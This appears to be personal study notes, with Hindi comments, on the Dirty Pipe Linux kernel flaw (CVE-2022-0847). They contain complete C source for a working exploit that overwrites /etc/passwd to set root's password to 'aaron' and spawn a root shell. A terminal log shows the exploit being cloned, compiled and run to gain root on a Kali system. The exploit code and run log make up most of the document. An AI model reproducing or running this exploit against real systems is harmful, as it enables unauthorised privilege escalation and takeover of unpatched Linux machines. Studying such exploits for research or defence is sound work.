// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)

// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter

// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();										// p[0] और p[1] बनाएँ जो पाइप के दो सिरों को इंगित करते हैं। पूर्व पढ़ता है, बाद वाला लिखता है

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);    	    // पाइप का आकार प्राप्त करें
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;      // पाइप भरें और PIPE_BUF_FLAG_CAN_MERGE सेट करें
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {						// पाइप खाली करें, लेकिन फ़्लैग बनाए रखें
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main() {
	const char *const path = "/etc/passwd";								// लक्ष्य फ़ाइल पथ परिभाषित करें

        printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");         // /tmp/passwd.bak बैकअप बनाएँ
        FILE *f1 = fopen("/etc/passwd", "r");
        FILE *f2 = fopen("/tmp/passwd.bak", "w");

        if (f1 == NULL) {											   // जाँचें कि फ़ाइल पढ़ने/लिखने के लिए सामान्य रूप से खुली है या नहीं
            printf("Failed to open /etc/passwd\n");
            exit(EXIT_FAILURE);
        } else if (f2 == NULL) {
            printf("Failed to open /tmp/passwd.bak\n");
            fclose(f1);
            exit(EXIT_FAILURE);
        }

        char c;
        while ((c = fgetc(f1)) != EOF)								    // बाइट दर बाइट लिखें
            fputc(c, f2);

        fclose(f1);
        fclose(f2);

	loff_t offset = 4; // after the "root"                                // ऑफ़सेट परिभाषित करें, यानी लक्ष्य स्थान को 'root' फ़ील्ड के बाद ओवरराइट करें
	const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 													 // ओवरराइट डेटा परिभाषित करें
        printf("Setting root password to \"aaron\"...\n");
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {									  // जाँचें कि लिखने की स्थिति पृष्ठ सीमा पर है या नहीं
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;			// वर्तमान पृष्ठ का अंत परिभाषित करें
	const loff_t end_offset = offset + (loff_t)data_size;				// ओवरराइट डेटा का अंत परिभाषित करें
	if (end_offset > next_page) {									  // जाँचें कि ओवरराइट पृष्ठ सीमा पार करता है या नहीं
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)			// केवल-पढ़ने के लिए लक्ष्य फ़ाइल खोलें
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;													// लक्ष्य फ़ाइल जानकारी संग्रहीत करने के लिए st परिभाषित करें
	if (fstat(fd, &st)) {											 // लक्ष्य फ़ाइल स्थिति प्राप्त करें
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {										 // जाँचें कि ऑफ़सेट फ़ाइल बाइट्स से बड़ा है या नहीं
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {								      // जाँचें कि ओवरराइट का अंत फ़ाइल बाइट्स से बड़ा है या नहीं
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);                                                 // पाइप बनाएँ, फ़्लैग को PIPE_BUF_FLAG_CAN_MERGE पर सेट करें

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;													// ऑफ़सेट से 1 बाइट पहले स्थिति पर जाएँ
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);          // उस बाइट को स्प्लाइस करके पाइप पर भेजें
	if (nbytes < 0) {											 // जाँचें कि स्थानांतरण सफल हुआ या नहीं, -1 का अर्थ विफलता
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {											 // 0 का अर्थ है कि स्थानांतरित करने के लिए कोई डेटा नहीं
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);						  // ओवरराइट डेटा को पाइप में लिखें
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
                "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
                "cp /tmp/passwd.bak /etc/passwd;"
                "echo \\\"Done! Popping shell... (run commands now)\\\";"
                "/bin/sh;"
            "\" root"};
        execv("/bin/sh", argv);										// रूट के अंतर्गत शेल खोलें

        printf("system() function call seems to have failed :(\n");
	return EXIT_SUCCESS;
}

wzy@wzy:/tmp$ uname -a
Linux wzy 5.16.0-kali1-amd64 #1 SMP PREEMPT Debian 5.16.7-2kali1 (2022-02-10) x86_64 GNU/Linux

git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

./compile.sh	# gcc कम्पाइल

./exploit	    # exp चलाएँ, निम्न error संदेश लौटाता है
wzy@wzy:/tmp/CVE-2022-0847-DirtyPipe-Exploit$ ./exploit
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(

su root 
पासवर्ड: aaron 

लॉगिन के बाद रूट विशेषाधिकार प्राप्त होता है

mv /tmp/passwd.bak /etc/passwd